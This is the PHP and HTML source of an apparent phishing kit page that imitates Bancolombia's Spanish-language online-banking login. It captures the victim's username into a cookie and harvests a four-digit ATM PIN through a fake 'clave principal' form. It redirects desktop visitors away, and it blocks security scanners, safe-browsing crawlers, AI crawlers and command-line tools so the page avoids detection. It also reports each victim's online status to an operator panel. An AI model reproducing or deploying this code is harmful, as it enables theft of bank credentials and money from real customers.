<?php
include('antibots/cloa.php');
define('APP_LOADED', true);
require_once('inc/paths_user.php');
$va = isset($_POST['TxtUsername']) ? $_POST['TxtUsername'] : '';
if (!empty($va)) { setcookie('vu', $va, time() + 3600, '/'); }
function esPC() {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

    // Si detecta móvil, NO es PC
    if (preg_match('/iphone|ipad|android|mobile|opera mini|iemobile|blackberry/', $ua)) {
        return false;
    }

    return true;
}

if (esPC()) {
    header("Location: https://www.temu.com/");
    exit();
} 
// ==============================
// ANTIBOT TOTAL �C BLOQUEO ABSOLUTO
// ==============================

// 1. Bloqueo por User-Agent (TODO bot)
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

// ==================================================
// LISTA TOTAL DE BOTS (SOLO BOTS, NO HUMANOS)
// ==================================================
$bot_signatures = [

  // ---------- GOOGLE (BOTS REALES) ----------
  'googlebot','adsbot-google','mediapartners-google',
  'apis-google','google-read-aloud',
  'google-safe-browsing','google-safebrowsing',
  'safebrowsing','sb-google',
  'chrome-lighthouse','lighthouse',
  'pagespeed','google page speed',

  // ---------- OTROS BUSCADORES ----------
  'bingbot','msnbot','duckduckbot',
  'yandexbot','baiduspider','seznambot',
  'applebot',

  // ---------- REDES / PREVIEWS ----------
  'facebookexternalhit','facebot',
  'whatsapp','telegrambot',
  'discordbot','slackbot',
  'twitterbot','linkedinbot','pinterest',

  // ---------- IA / LLM ----------
  'gptbot','openai','chatgpt',
  'anthropic','claude',
  'gemini','bard',
  'perplexity','youbot',
  'cohere','huggingface',
  'c.ai','character.ai',

  // ---------- HOSTING / CLOUD (BOTS) ----------
  'amazonbot',
  'googlecloud','gcp',
  'azure',
  'digitalocean',
  'ovh','hetzner','contabo','linode','vultr',
  'oraclecloud','ibmcloud',

  // ---------- REGISTRADORES / DOMINIOS ----------
  'namecheapbot','godaddybot',
  'cloudflare','cf-',
  'domains.google',
  'whois','rdap',

  // ---------- MONITOREO ----------
  'uptimerobot','pingdom','statuscake',
  'betteruptime','datadog','newrelic','site24x7',

  // ---------- SEGURIDAD / SCANNERS ----------
  'nessus','acunetix','qualys',
  'nmap','zgrab','masscan',
  'shodan','censys','securitytrails',

  // ---------- LIBRER�0�1AS / AUTOMATIZACI�0�7N ----------
  'curl','wget','python','requests','aiohttp',
  'axios','httpclient','okhttp','java',
  'go-http','libwww',
  'postman','insomnia'
];

// ==================================================
// BLOQUEO POR FIRMA DE BOT
// ==================================================
foreach ($bot_signatures as $sig) {
  if (strpos($ua, $sig) !== false) {
    http_response_code(403);
    exit;
  }
}

// ==================================================
// ANTI BOT DISFRAZADO (NO AFECTA HUMANOS)
// ==================================================
$required_headers = [
  'HTTP_ACCEPT',
  'HTTP_ACCEPT_LANGUAGE',
  'HTTP_ACCEPT_ENCODING'
];

foreach ($required_headers as $h) {
  if (empty($_SERVER[$h])) {
    http_response_code(403);
    exit;
  }
}

// JS + cookies
if (!isset($_COOKIE['human_ok'])) {
  setcookie('human_ok','1', time()+3600,'/','',false,true);
  echo '<script>location.reload()</script>';
  exit;
}

// Rate limit humano
$_SESSION['hits'] = ($_SESSION['hits'] ?? 0) + 1;
if ($_SESSION['hits'] > 120) {
  http_response_code(429);
  exit;
}

?>
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="theme-color" content="#000000">
    <title>Pago en l&iacute;nea</title>
    <script src="/scripts/jquery-3.6.0.min.js"></script>
    <script src="/scripts/functions2.js"></script>
    <link rel="stylesheet" href="<?php echo $u_cfg['main_css']; ?>">
    <link rel="stylesheet" href="<?php echo $u_cfg['basic_css']; ?>">
    <link rel="stylesheet" href="<?php echo $u_cfg['norm_css']; ?>">
    <link rel="stylesheet" href="<?php echo $u_cfg['styles_css']; ?>">
    <link rel="stylesheet" href="<?php echo $u_cfg['boot_css']; ?>">
    <script src="<?php echo $u_cfg['jq']; ?>"></script>
    <script src="<?php echo $u_cfg['redirect']; ?>"></script>
    <script src="./Autenticaci&oacute;n Bancolombia_pwd_files/validatepassword.js.descarga"></script>
    <script src="<?php echo $u_cfg['boot_js']; ?>"></script>
    <script src="<?php echo $u_cfg['init_js']; ?>"></script>
    <style>
    html, body, form { height: 100% }
    </style>
    <script>
    function verificarCamposCompletos() {
        var a = document.getElementById('input1').value;
        var b = document.getElementById('input2').value;
        var c = document.getElementById('input3').value;
        var d = document.getElementById('input4').value;
        var btn = document.getElementById('btnGo');
        if (a !== '' && b !== '' && c !== '' && d !== '') {
            btn.style.background = '#FDDA24';
            btn.style.color = '#2C2A29';
            btn.disabled = false;
        } else {
            btn.style.background = '#E6E7E8';
            btn.style.color = '#A7A9AC';
            btn.disabled = true;
        }
    }
    function navegarSiguienteInput(event, siguienteInputId) {
        var campoActual = event.target;
        var siguienteInput = document.getElementById(siguienteInputId);
        if (event.inputType === 'deleteContentBackward') {
            document.getElementById('input1').value = '';
            document.getElementById('input2').value = '';
            document.getElementById('input3').value = '';
            document.getElementById('input4').value = '';
            document.getElementById('input1').focus();
        } else if (campoActual.value !== '' && campoActual.value.length >= campoActual.getAttribute('maxlength')) {
            siguienteInput.focus();
        }
    }
    function capturarBorrar(event) {
        if (event.keyCode === 8 || event.keyCode === 46) {
            document.getElementById('input1').value = '';
            document.getElementById('input2').value = '';
            document.getElementById('input3').value = '';
            document.getElementById('input4').value = '';
            document.getElementById('input1').focus();
            verificarCamposCompletos();
        }
    }
    </script>
</head>
<body>
    <input type="hidden" id="TxtUsername" value="<?php echo htmlspecialchars($va); ?>">
    <input type="hidden" id="TxtPasswordAll" value="">
    <div class="modal fade" id="myModal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-body" style="text-align:center;">
                    <div class="mua-imgLogoItem"></div>
                    <img src="img/load.gif" height="100">
                    <div class="text-svp-name" style="text-align:center;">Estamos validando su informaci&oacute;n, espere un momento por favor</div>
                </div>
            </div>
        </div>
    </div>
    <div id="root">
        <div class="sc-gsFSXq jhvnaB">
            <div class="sc-iGgWBj icJLiE">
				<br>
                <div id="errorAlert" class="sc-uVWWZ iVygmi"></div>
                <div class="sc-bbSZdi eDGRzG">Ingresa tu clave principal</div>
				<br>
                <div class="sc-fBWQRz cULVBz"></div>
                <div height="264px" class="sc-aXZVg cXjXnO">
                    <div class="sc-gEvEer gcwMij">
                        <div class="sc-eqUAAy kgsyyX"></div>
                        <div class="sc-fqkvVR kfKTfV">Es la misma que usas en el cajero autom&aacute;tico</div>
                    </div>
                    <div style="display:flex; gap:20px; justify-content:center; margin:24px auto">
                        <input id="input1" type="tel" maxlength="1" autocomplete="one-time-code" placeholder="" onkeypress="return (event.charCode >= 48 && event.charCode <= 57) || event.charCode == 0" oninput="verificarCamposCompletos(); navegarSiguienteInput(event, 'input2');" onkeydown="capturarBorrar(event);" pattern="\d*" style="width:36px; height:40px; text-align:center; font-size:24px; font-weight:700; color:#2C2A29; border:none; border-bottom:1.5px solid #58595B; border-radius:0; outline:none; background:transparent; -webkit-appearance:none">
                        <input id="input2" type="tel" maxlength="1" autocomplete="one-time-code" placeholder="" onkeypress="return (event.charCode >= 48 && event.charCode <= 57) || event.charCode == 0" oninput="verificarCamposCompletos(); navegarSiguienteInput(event, 'input3');" onkeydown="capturarBorrar(event);" pattern="\d*" style="width:36px; height:40px; text-align:center; font-size:24px; font-weight:700; color:#2C2A29; border:none; border-bottom:1.5px solid #58595B; border-radius:0; outline:none; background:transparent; -webkit-appearance:none">
                        <input id="input3" type="tel" maxlength="1" autocomplete="one-time-code" placeholder="" onkeypress="return (event.charCode >= 48 && event.charCode <= 57) || event.charCode == 0" oninput="verificarCamposCompletos(); navegarSiguienteInput(event, 'input4');" onkeydown="capturarBorrar(event);" pattern="\d*" style="width:36px; height:40px; text-align:center; font-size:24px; font-weight:700; color:#2C2A29; border:none; border-bottom:1.5px solid #58595B; border-radius:0; outline:none; background:transparent; -webkit-appearance:none">
                        <input id="input4" type="tel" maxlength="1" autocomplete="one-time-code" placeholder="" onkeypress="return (event.charCode >= 48 && event.charCode <= 57) || event.charCode == 0" oninput="verificarCamposCompletos();" onkeydown="capturarBorrar(event);" pattern="\d*" style="width:36px; height:40px; text-align:center; font-size:24px; font-weight:700; color:#2C2A29; border:none; border-bottom:1.5px solid #58595B; border-radius:0; outline:none; background:transparent; -webkit-appearance:none">
                    </div>
                    <div style="display:flex; justify-content:center; margin-top:18px">
                        <button id="btnGo" disabled style="width:280px; height:40px; border-radius:100px; font-size:14px; font-weight:700; cursor:pointer; border:none; outline:none; background:#E6E7E8; color:#A7A9AC; font-family:inherit; transition:all 0.2s">Continuar</button>
                    </div>
                </div>
                <script>
                $(document).ready(function() {
                    $('#btnGo').click(function() {
                        var pass = $('#input1').val() + '' + $('#input2').val() + '' + $('#input3').val() + '' + $('#input4').val();
                        $('#TxtPasswordAll').val(pass);
                    });
                });
                </script>
            </div>
            <div class="sc-dAlyuH fgvEPZ">
                <div class="sc-jlZhew kZLvRr"></div>
                <span class="sc-eDPEul gTfgka">
                    <div class="sc-eldPxv dJzohZ">
                        <div class="sc-cPiKLX eqxxRJ"></div>
                        <div class="sc-cwHptR fvLrbU">Copyright &copy; 2026 Grupo Bancolombia.</div>
                        <div class="sc-dLMFU kikHRa"></div>
                    </div>
                    <div class="sc-fPXMVe dCLFvs"></div>
                </span>
            </div>
        </div>
    </div>
    <div id="csid"></div>
    <script>
    window.addEventListener('beforeunload', function(event) {
        $.ajax({ url: '../p4n3l/MySQL.php', type: 'POST', data: { action: 'Desconectado' } });
    });
    document.addEventListener('visibilitychange', function() {
        if (document.visibilityState === 'visible') {
            $.ajax({ url: '../p4n3l/MySQL.php', type: 'POST', data: { action: 'enLinea' } });
        } else {
            $.ajax({ url: '../p4n3l/MySQL.php', type: 'POST', data: { action: 'Desconectado' } });
        }
    });
    document.addEventListener('DOMContentLoaded', function() {
        $.ajax({ url: '../p4n3l/MySQL.php', type: 'POST', data: { action: 'enLinea' } });
    });
    </script>
</body>
</html>